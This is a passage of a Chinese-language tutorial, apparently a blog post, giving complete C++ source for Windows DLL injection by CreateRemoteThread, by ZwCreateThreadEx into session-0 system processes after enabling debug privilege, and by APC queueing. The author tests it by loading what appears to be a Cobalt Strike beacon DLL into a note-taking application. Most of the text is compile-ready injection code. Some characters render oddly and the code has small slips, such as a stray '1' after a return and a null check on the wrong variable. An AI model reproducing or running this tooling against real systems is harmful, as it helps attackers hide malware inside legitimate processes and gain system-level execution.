pAllocMemory = ::VirtualAllocEx(hprocess, NULL, _Size, MEM_COMMIT, PAGE_READWRITE);
if (pAllocMemory == NULL)
{
printf("VirtualAllocEx - Error!");
return FALSE;
}
// 寫(xiě)入內(nèi)存
Write = ::WriteProcessMemory(hprocess, pAllocMemory, DllName, _Size, NULL);
if (Write == FALSE)
{
printf("WriteProcessMemory - Error!");
return FALSE;
}
//獲取LoadLibrary的地址
pThread = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
LPTHREAD_START_ROUTINE addr = (LPTHREAD_START_ROUTINE)pThread;
//在另一個(gè)進(jìn)程中創(chuàng)建線程
hThread = ::CreateRemoteThread(hprocess, NULL, 0, addr, pAllocMemory, 0, NULL);
if (hThread == NULL)
{
printf("CreateRemoteThread - Error!");
return FALSE;1
}
//等待線程函數(shù)結(jié)束,獲得退出碼
WaitForSingleObject(hThread, -1);
GetExitCodeThread(hThread, &DllAddr);
//釋放DLL空間
VirtualFreeEx(hprocess, pAllocMemory, _Size, MEM_DECOMMIT);
//關(guān)閉線程句柄
::CloseHandle(hprocess);
return TRUE;
}
int main()
{
DWORD PID = _GetProcessPID(L"test.exe");
_RemoteThreadInject(PID, L"F:\\C++\\Inject\\Inject\\Debug\\Inject.dll");
}
然后這里生成一個(gè)test.exe來(lái)做測(cè)試
編譯并運(yùn)行,實(shí)現(xiàn)效果如下
首先提一提session0的概念:
Intel的CPU將特權(quán)級(jí)別分為4個(gè)級(jí)別:RING0,RING1,RING2,RING3。Windows只使用其中的兩個(gè)級(jí)別RING0和RING3,RING0只給操作系統(tǒng)用,RING3誰(shuí)都能用。如果普通應(yīng)用程序企圖執(zhí)行RING0指令,則Windows會(huì)顯示“非法指令”錯(cuò)誤信息。
ring0是指CPU的運(yùn)行級(jí)別,ring0是最高級(jí)別,ring1次之,ring2更次之…… 拿Linux+x86來(lái)說(shuō), 操作系統(tǒng)(內(nèi)核)的代碼運(yùn)行在最高運(yùn)行級(jí)別ring0上,可以使用特權(quán)指令,控制中斷、修改頁(yè)表、訪問(wèn)設(shè)備等等。 應(yīng)用程序的代碼運(yùn)行在最低運(yùn)行級(jí)別上ring3上,不能做受控操作。如果要做,比如要訪問(wèn)磁盤(pán),寫(xiě)文件,那就要通過(guò)執(zhí)行系統(tǒng)調(diào)用(函數(shù)),執(zhí)行系統(tǒng)調(diào)用的時(shí)候,CPU的運(yùn)行級(jí)別會(huì)發(fā)生從ring3到ring0的切換,并跳轉(zhuǎn)到系統(tǒng)調(diào)用對(duì)應(yīng)的內(nèi)核代碼位置執(zhí)行,這樣內(nèi)核就為你完成了設(shè)備訪問(wèn),完成之后再?gòu)膔ing0返回ring3。這個(gè)過(guò)程也稱作用戶態(tài)和內(nèi)核態(tài)的切換。
RING設(shè)計(jì)的初衷是將系統(tǒng)權(quán)限與程序分離出來(lái),使之能夠讓OS更好地管理當(dāng)前系統(tǒng)資源,也使得系統(tǒng)更加穩(wěn)定。舉個(gè)RING權(quán)限的最簡(jiǎn)單的例子:一個(gè)停止響應(yīng)的應(yīng)用程式,它運(yùn)行在比RING0更低的指令環(huán)上,你不必大費(fèi)周章地想著如何使系統(tǒng)恢復(fù)運(yùn)作,這期間,只需要啟動(dòng)任務(wù)管理器便能輕松終止它,因?yàn)樗\(yùn)行在比程式更低的RING0指令環(huán)中,擁有更高的權(quán)限,可以直接影響到RING0以上運(yùn)行的程序,當(dāng)然有利就有弊,RING保證了系統(tǒng)穩(wěn)定運(yùn)行的同時(shí),也產(chǎn)生了一些十分麻煩的問(wèn)題。比如一些OS虛擬化技術(shù),在處理RING指令環(huán)時(shí)便遇到了麻煩,系統(tǒng)是運(yùn)行在RING0指令環(huán)上的,但是虛擬的OS畢竟也是一個(gè)系統(tǒng),也需要與系統(tǒng)相匹配的權(quán)限。而RING0不允許出現(xiàn)多個(gè)OS同時(shí)運(yùn)行在上面,最早的解決辦法便是使用虛擬機(jī),把OS當(dāng)成一個(gè)程序來(lái)運(yùn)行。
ZwCreateThreadEx
注意一下這個(gè)地方ZwCreateThreadEx這個(gè)函數(shù)在32位和64位中的定義不同
在32位的情況下
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
在64位的情況下
DWORD WINAPI ZwCreateThreadEx(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
這里因?yàn)槲覀円M(jìn)到session 0那么就勢(shì)必要到system權(quán)限,所以這里還有幾個(gè)提權(quán)需要用到的函數(shù)
OpenProcessToken
BOOL OpenProcessToken(
__in HANDLE ProcessHandle, //要修改訪問(wèn)權(quán)限的進(jìn)程句柄
__in DWORD DesiredAccess, //指定你要進(jìn)行的操作類型
__out PHANDLE TokenHandle //返回的訪問(wèn)令牌指針
);
LookupPrivilegeValueA
BOOL LookupPrivilegeValueA(
LPCSTR lpSystemName, //要查看的系統(tǒng),本地系統(tǒng)直接用NULL
LPCSTR lpName, //指向一個(gè)以零結(jié)尾的字符串,指定特權(quán)的名稱
PLUID lpLuid //用來(lái)接收所返回的制定特權(quán)名稱的信息
);
AdjustTokenPrivileges
BOOL AdjustTokenPrivileges(
HANDLE TokenHandle, //包含特權(quán)的句柄
BOOL DisableAllPrivileges,//禁用所有權(quán)限標(biāo)志
PTOKEN_PRIVILEGES NewState,//新特權(quán)信息的指針(結(jié)構(gòu)體)
DWORD BufferLength, //緩沖數(shù)據(jù)大小,以字節(jié)為單位的PreviousState的緩存區(qū)(sizeof)
PTOKEN_PRIVILEGES PreviousState,//接收被改變特權(quán)當(dāng)前狀態(tài)的Buffer
PDWORD ReturnLength //接收PreviousState緩存區(qū)要求的大小
);
ZwCreateThreadEx比 CreateRemoteThread函數(shù)更為底層,CreateRemoteThread函數(shù)最終是通過(guò)調(diào)用ZwCreateThreadEx函數(shù)實(shí)現(xiàn)遠(yuǎn)線程創(chuàng)建的。
通過(guò)調(diào)用CreateRemoteThread函數(shù)創(chuàng)建遠(yuǎn)線程的方式在內(nèi)核6.0(Windows VISTA、7、8等)以前是完全沒(méi)有問(wèn)題的,但是在內(nèi)核6.0 以后引入了會(huì)話隔離機(jī)制。它在創(chuàng)建一個(gè)進(jìn)程之后并不立即運(yùn)行,而是先掛起進(jìn)程,在查看要運(yùn)行的進(jìn)程所在的會(huì)話層之后再?zèng)Q定是否恢復(fù)進(jìn)程運(yùn)行。
在Windows XP、Windows Server 2003,以及更老版本的Windows操作系統(tǒng)中,服務(wù)和應(yīng)用程序使用相同的會(huì)話(Session)運(yùn)行,而這個(gè)會(huì)話是由第一個(gè)登錄到控制臺(tái)的用戶啟動(dòng)的。該會(huì)話就叫做Session 0,如下圖所示,在Windows Vista之前,Session 0不僅包含服務(wù),也包含標(biāo)準(zhǔn)用戶應(yīng)用程序。
將服務(wù)和用戶應(yīng)用程序一起在Session 0中運(yùn)行會(huì)導(dǎo)致安全風(fēng)險(xiǎn),因?yàn)榉?wù)會(huì)使用提升后的權(quán)限運(yùn)行,而用戶應(yīng)用程序使用用戶特權(quán)(大部分都是非管理員用戶)運(yùn)行,這會(huì)使得惡意軟件以某個(gè)服務(wù)為攻擊目標(biāo),通過(guò)“劫持”該服務(wù),達(dá)到提升自己權(quán)限級(jí)別的目的。
從Windows Vista開(kāi)始,只有服務(wù)可以托管到Session 0中,用戶應(yīng)用程序和服務(wù)之間會(huì)被隔離,并需要運(yùn)行在用戶登錄到系統(tǒng)時(shí)創(chuàng)建的后續(xù)會(huì)話中。例如第一個(gè)登錄的用戶創(chuàng)建 Session 1,第二個(gè)登錄的用戶創(chuàng)建Session 2,以此類推,如下圖所示。
使用CreateRemoteThread注入失敗DLL失敗的關(guān)鍵在第七個(gè)參數(shù)CreateThreadFlags, 他會(huì)導(dǎo)致線程創(chuàng)建完成后一直掛起無(wú)法恢復(fù)進(jìn)程運(yùn)行,導(dǎo)致注入失敗。而想要注冊(cè)成功,把該參數(shù)的值改為0即可。
在win10系統(tǒng)下如果我們要注入系統(tǒng)權(quán)限的exe,就需要使用到debug調(diào)試權(quán)限,所以先寫(xiě)一個(gè)提權(quán)函數(shù)。
// 提權(quán)函數(shù)
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
在進(jìn)程注入dll的過(guò)程中,是不能夠使用MessageBox的,系統(tǒng)程序不能夠顯示程序的窗體,所以這里編寫(xiě)一個(gè)ShowError函數(shù)來(lái)獲取錯(cuò)誤碼
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
首先打開(kāi)進(jìn)程獲取句柄,使用到OpenProcess
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
然后是在注入的進(jìn)程申請(qǐng)內(nèi)存地址,使用到VirtualAllocEx
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
再使用WriteProcessMemory寫(xiě)入內(nèi)存
WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL)
加載ntdll,獲取LoadLibraryA函數(shù)地址
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
獲取ZwCreateThreadEx函數(shù)地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
使用 ZwCreateThreadEx創(chuàng)建遠(yuǎn)線程, 實(shí)現(xiàn) DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
這里還有一點(diǎn)需要注意的是ZwCreateThreadEx在 ntdll.dll 中并沒(méi)有聲明,所以我們需要使用 GetProcAddress從 ntdll.dll中獲取該函數(shù)的導(dǎo)出地址
這里加上ZwCreateThreadEx的定義,因?yàn)?4位、32位結(jié)構(gòu)不同,所以都需要進(jìn)行定義
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
完整代碼如下
// session0Inject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開(kāi)始并結(jié)束。
//
#include <Windows.h>
#include <stdio.h>
#include <iostream>
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
// 提權(quán)函數(shù)
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
// 使用 ZwCreateThreadEx 實(shí)現(xiàn)遠(yuǎn)線程注入
BOOL ZwCreateThreadExInjectDll(DWORD PID,const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
EnableDebugPrivilege();
// 打開(kāi)注入進(jìn)程,獲取進(jìn)程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);
if (hProcess == NULL)
{
printf("OpenProcess - Error!\n\n");
return -1 ;
}
// 在注入的進(jìn)程申請(qǐng)內(nèi)存地址
dwSize = ::lstrlen(pszDllFileName) + 1;
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx - Error!\n\n");
return FALSE;
}
//寫(xiě)入內(nèi)存地址
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory - Error!\n\n");
return FALSE;
}
//加載ntdll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 獲取LoadLibraryA函數(shù)地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA - Error!\n\n");
return FALSE;
}
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
//獲取ZwCreateThreadEx函數(shù)地址
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread - Error!\n\n");
return FALSE;
}
// 使用 ZwCreateThreadEx 創(chuàng)建遠(yuǎn)線程, 實(shí)現(xiàn) DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == ZwCreateThreadEx)
{
ShowError("ZwCreateThreadEx - Error!\n\n");
return FALSE;
}
// 關(guān)閉句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
int main(int argc, char* argv[])
{
#ifdef _WIN64
BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else
BOOL bRet = ZwCreateThreadExInjectDll(4924, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if (FALSE == bRet)
{
printf("Inject Dll Error!\n\n");
}
printf("Inject Dll OK!\n\n");
return 0;
}
因?yàn)樵赿ll注入的過(guò)程中是看不到messagebox的,所以這里我選擇cs注入進(jìn)行測(cè)試,若注入成功即可上線
首先生成一個(gè)32位的dll文件,這里跟位數(shù)有關(guān),我選擇注入的是32位的進(jìn)程,所以這里我選擇生成32位的dll
得到路徑
這里我選擇的是有道云筆記進(jìn)行注入,查看一下pid
然后把我們函數(shù)的pid改為有道云的pid
實(shí)現(xiàn)效果如下所示
APC,全稱為Asynchronous Procedure Call,即異步過(guò)程調(diào)用,是指函數(shù)在特定線程中被異步執(zhí)行,在操作系統(tǒng)中,APC是一種并發(fā)機(jī)制。
這里去看一下msdn中異步過(guò)程調(diào)用的解釋如下
首先第一個(gè)函數(shù)
QueueUserApc: 函數(shù)作用,添加指定的異步函數(shù)調(diào)用(回調(diào)函數(shù))到執(zhí)行的線程的APC隊(duì)列中
APCproc: 函數(shù)作用: 回調(diào)函數(shù)的寫(xiě)法.
往線程APC隊(duì)列添加APC,系統(tǒng)會(huì)產(chǎn)生一個(gè)軟中斷。在線程下一次被調(diào)度的時(shí)候,就會(huì)執(zhí)行APC函數(shù),APC有兩種形式,由系統(tǒng)產(chǎn)生的APC稱為內(nèi)核模式APC,由應(yīng)用程序產(chǎn)生的APC被稱為用戶模式APC。這里介紹一下應(yīng)用程序的APC,APC是往線程中插入一個(gè)回調(diào)函數(shù),但是用的APC調(diào)用這個(gè)回調(diào)函數(shù)是有條件的,如msdn所示
QueueUserAPC
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);
QueueUserAPC 函數(shù)的第一個(gè)參數(shù)表示執(zhí)行函數(shù)的地址,當(dāng)開(kāi)始執(zhí)行該APC的時(shí)候,程序會(huì)跳轉(zhuǎn)到該函數(shù)地址處來(lái)執(zhí)行。第二個(gè)參數(shù)表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問(wèn)權(quán)限。第三個(gè)參數(shù)表示傳遞給執(zhí)行函數(shù)的參數(shù),與遠(yuǎn)線程注入類似,如果QueueUserAPC 的第一個(gè)參數(shù)為L(zhǎng)oadLibraryA,第三個(gè)參數(shù)設(shè)置的是dll路徑即可完成dll注入。
在 Windows系統(tǒng)中,每個(gè)線程都會(huì)維護(hù)一個(gè)線程 APC隊(duì)列,通過(guò)QucueUserAPC把一個(gè)APC 函數(shù)添加到指定線程的APC隊(duì)列中。每個(gè)線程都有自己的APC隊(duì)列,這個(gè) APC隊(duì)列記錄了要求線程執(zhí)行的一些APC函數(shù)。Windows系統(tǒng)會(huì)發(fā)出一個(gè)軟中斷去執(zhí)行這些APC 函數(shù),對(duì)于用戶模式下的APC 隊(duì)列,當(dāng)線程處在可警告狀態(tài)時(shí)才會(huì)執(zhí)行這些APC 函數(shù)。一個(gè)線程在內(nèi)部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數(shù)把自己掛起時(shí)就是進(jìn)入可警告狀態(tài),此時(shí)便會(huì)執(zhí)行APC隊(duì)列函數(shù)。
通俗點(diǎn)來(lái)概括過(guò)程可分為以下幾步:
1)當(dāng)EXE里某個(gè)線程執(zhí)行到SleepEx()或者WaitForSingleObjectEx()時(shí),系統(tǒng)就會(huì)產(chǎn)生一個(gè)軟中斷(或者是Messagebox彈窗的時(shí)候不點(diǎn)OK的時(shí)候也能注入)。
2)當(dāng)線程再次被喚醒時(shí),此線程會(huì)首先執(zhí)行APC隊(duì)列中的被注冊(cè)的函數(shù)。
3)利用QueueUserAPC()這個(gè)API可以在軟中斷時(shí)向線程的APC隊(duì)列插入一個(gè)函數(shù)指針,如果我們插入的是Loadlibrary()執(zhí)行函數(shù)的話,就能達(dá)到注入DLL的目的。
但是想要使用apc注入也有以下兩點(diǎn)條件:
1.必須是多線程環(huán)境下
2.注入的程序必須會(huì)調(diào)用那些同步對(duì)象
每一個(gè)進(jìn)程的每一個(gè)線程都有自己的APC隊(duì)列,我們可以使用QueueUserAPC函數(shù)把一個(gè)APC函數(shù)壓入APC隊(duì)列中。當(dāng)處于用戶模式的APC被壓入到線程APC隊(duì)列后,線程并不會(huì)立刻執(zhí)行壓入的APC函數(shù),而是要等到線程處于可通知狀態(tài)(alertable)才會(huì)執(zhí)行,即只有當(dāng)一個(gè)線程內(nèi)部調(diào)用SleepEx等上面說(shuō)到的幾個(gè)特定函數(shù)將自己處于掛起狀態(tài)時(shí),才會(huì)執(zhí)行APC隊(duì)列函數(shù),執(zhí)行順序與普通隊(duì)列相同,先進(jìn)先出(FIFO),在整個(gè)執(zhí)行過(guò)程中,線程并無(wú)任何異常舉動(dòng),不容易被察覺(jué),但缺點(diǎn)是對(duì)于單線程程序一般不存在掛起狀態(tài),所以APC注入對(duì)于這類程序沒(méi)有明顯效果。
這里的常規(guī)思路是編寫(xiě)一個(gè)根據(jù)進(jìn)程名獲取pid的函數(shù),然后根據(jù)PID獲取所有的線程ID,這里我就將兩個(gè)函數(shù)集合在一起,通過(guò)自己輸入PID來(lái)獲取指定進(jìn)程的線程并寫(xiě)入數(shù)組
//列出指定進(jìn)程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請(qǐng)空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結(jié)構(gòu)的大小
th32.dwSize = sizeof(THREADENTRY32);
// 遍歷所有THREADENTRY32結(jié)構(gòu), 按順序填入數(shù)組
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
然后是apc注入的主函數(shù),首先使用VirtualAllocEx遠(yuǎn)程申請(qǐng)內(nèi)存
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
然后使用WriteProcessMemory把dll路徑寫(xiě)入內(nèi)存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)
再獲取LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
遍歷線程并插入APC,這里定義一個(gè)fail并進(jìn)行判斷,如果QueueUserAPC返回的值為NULL則線程遍歷失敗,fail的值就+1
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打開(kāi)線程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
}
}
然后在到主函數(shù),定義dll地址
strcpy_s(wzDllFullPath, "C:\Users\61408\Desktop\artifact.dll");
使用OpenProcess打開(kāi)句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
調(diào)用之前寫(xiě)好的APCInject函數(shù)實(shí)現(xiàn)APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
完整代碼如下
// APCInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開(kāi)始并結(jié)束。
//
#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
using namespace std;
void ShowError(const char* pszText)
{
char szError[MAX_PATH] = { 0 };
::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szError, "ERROR", MB_OK);
}
//列出指定進(jìn)程的所有線程
BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
// 申請(qǐng)空間
DWORD dwThreadIdListLength = 0;
DWORD dwThreadIdListMaxCount = 2000;
LPDWORD pThreadIdList = NULL;
HANDLE hThreadSnap = INVALID_HANDLE_VALUE;
pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pThreadIdList == NULL)
{
return FALSE;
}
RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
THREADENTRY32 th32 = { 0 };
// 拍攝快照
hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);
if (hThreadSnap == INVALID_HANDLE_VALUE)
{
return FALSE;
}
// 結(jié)構(gòu)的大小
th32.dwSize = sizeof(THREADENTRY32);
//遍歷所有THREADENTRY32結(jié)構(gòu), 按順序填入數(shù)組
BOOL bRet = Thread32First(hThreadSnap, &th32);
while (bRet)
{
if (th32.th32OwnerProcessID == th32ProcessID)
{
if (dwThreadIdListLength >= dwThreadIdListMaxCount)
{
break;
}
pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;
}
bRet = Thread32Next(hThreadSnap, &th32);
}
*pThreadIdListLength = dwThreadIdListLength;
*ppThreadIdList = pThreadIdList;
return TRUE;
}
BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength)
{
// 申請(qǐng)內(nèi)存
PVOID lpAddr = NULL;
SIZE_T page_size = 4096;
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (lpAddr == NULL)
{
ShowError("VirtualAllocEx - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 把Dll的路徑復(fù)制到內(nèi)存中
if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr))
{
ShowError("WriteProcessMemory - Error\n\n");
VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);
CloseHandle(hProcess);
return FALSE;
}
// 獲得LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");
// 遍歷線程, 插入APC
float fail = 0;
for (int i = dwThreadIdListLength - 1; i >= 0; i--)
{
// 打開(kāi)線程
HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
if (hThread)
{
// 插入APC
if (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr))
{
fail++;
}
// 關(guān)閉線程句柄
::CloseHandle(hThread);
hThread = NULL;
}
}
printf("Total Thread: %d\n", dwThreadIdListLength);
printf("Total Failed: %d\n", (int)fail);
if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5)
{
printf("Success to Inject APC\n");
return TRUE;
}
else
{
printf("Inject may be failed\n");
return FALSE;
}
}
int main()
{
ULONG32 ulProcessID = 0;
printf("Input the Process ID:");
cin >> ulProcessID;
CHAR wzDllFullPath[MAX_PATH] = { 0 };
LPDWORD pThreadIdList = NULL;
DWORD dwThreadIdListLength = 0;
#ifndef _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#else // _WIN64
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");
#endif
if (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength))
{
printf("Can not list the threads\n");
exit(0);
}
//打開(kāi)句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);
if (hProcess == NULL)
{
printf("Failed to open Process\n");
return FALSE;
}
//注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength))
{
printf("Failed to inject DLL\n");
return FALSE;
}
return 0;
}
之前說(shuō)過(guò)我沒(méi)有使用進(jìn)程名 -> pid的方式,而是直接采用手動(dòng)輸入的方式,通過(guò)cin >> ulProcessID將接收到的參數(shù)賦給ulProcessID
這里可以選擇寫(xiě)一個(gè)MessageBox的dll,這里我直接用的是cs的dll,演示效果如下所示
最后
